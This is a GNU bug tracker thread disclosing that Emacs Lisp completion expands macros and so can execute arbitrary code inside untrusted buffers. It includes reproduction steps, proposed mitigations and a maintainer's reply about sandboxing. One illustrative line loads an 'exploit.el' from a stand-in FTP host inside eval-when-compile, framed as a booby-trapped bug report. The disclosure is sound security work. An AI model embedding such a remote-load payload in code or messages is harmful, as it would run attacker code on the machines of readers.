GNU bug report logs -
#32495
26.1; Arbitrary code execution when completing inside untrusted elisp code
Previous Next
To reply to this bug, email your comments to 32495 AT debbugs.gnu.org.
Toggle the display of automated, internal messages from the tracker.
Report forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#32495
; Package
emacs
.
(Wed, 22 Aug 2018 00:13:02 GMT)
Full text and
rfc822 format available.
Acknowledgement sent
to
Wilfred Hughes <me <at> wilfred.me.uk>
:
New bug report received and forwarded. Copy sent to
bug-gnu-emacs <at> gnu.org
.
(Wed, 22 Aug 2018 00:13:02 GMT)
Full text and
rfc822 format available.
Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):
elisp-completion-at-point calls macroexpand, which may execute arbitrary code.
REPRODUCING
1. Insert this code in a buffer in emacs-lisp-mode.
(let ((foo (eval-when-compile (debug))))
x)
2. Put point on x.
3. Press C-M-i, or M-x elisp-completion-at-point.
4. Observe that the debugger is opened, because code is being executed!
SEVERITY
I don't know whether Emacs considers calling code-completion on
untrusted code to be a concern or not. A contrived example might look
like a bug report containing the following:
(let ((foo (eval-when-compile (eval "/ftp:evil.example.com:exploit.el")))
;; ... lots of code
(bar 1))
;; Dear maintainer, I've found a bug in your completion. Please try
;; completion in the following:
abc
)
This could also cause accidental issues, as I might edit code that has
some unwanted side-effects inside eval-when-compile blocks. However,
this functionality has existed since 2013 (added in commit
bbcc4d97447a by Stefan) and no-one has noticed so far.
WORKAROUNDS
When calling macroexpand or macroexpand-all, either:
1. pass in an environment with all untrusted macros replaced with dummies:
(let ((macro-whitelist '(when pcase))
all-macros
safe-env)
(mapatoms
(lambda (sym)
(when (macrop sym)
(push sym all-macros))))
(mapc
(lambda (sym)
(unless (memq sym macro-whitelist)
(push (cons sym (symbol-function 'ignore))
safe-env)))
all-macros)
(macroexpand-all
arbitrary-form-here
safe-env))
2. bind all eval-capable functions first (INCOMPLETE, there are other
eval-capable functions, such as load):
(cl-letf (((symbol-function 'eval) #'ignore)
((symbol-function 'eval-region) #'ignore)
((symbol-function 'eval-buffer) #'ignore)
((symbol-function 'backtrace-eval) #'ignore))
(macroexpand-all some-arbitrary-form-here))
Added tag(s) security.
Request was from
Glenn Morris <rgm <at> gnu.org>
to
control <at> debbugs.gnu.org
.
(Wed, 22 Aug 2018 02:08:01 GMT)
Full text and
rfc822 format available.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#32495
; Package
emacs
.
(Thu, 23 Aug 2018 18:55:01 GMT)
Full text and
rfc822 format available.
Message #10 received at 32495 <at> debbugs.gnu.org (full text, mbox):
> 1. pass in an environment with all untrusted macros replaced with dummies:
Sounds like a good first step.
We could even start with a blacklist rather than a whitelist
(eval-when-compile, eval-and-compile, cl-eval-when, ...), so the point
would be to protect oneself from accidental problems rather than from
malign adversaries.
> 2. bind all eval-capable functions first (INCOMPLETE, there are other
> eval-capable functions, such as load):
Trying to plug each and every hole sounds like a losing game
(e.g. you can implement `eval` by building a `(lambda () ,exp) and then
causing it to be called one way or another).
Ideally, we'd have some way to confine Elisp code to a sandbox of some
sort (e.g. no access to any I/O and all changes to global vars are ignored).
Stefan
This bug report was last modified 6 years and 240 days ago.
Previous Next
GNU bug tracking system
Copyright (C) 1999 Darren O. Benham,
1997,2003 nCipher Corporation Ltd,
1994-97 Ian Jackson.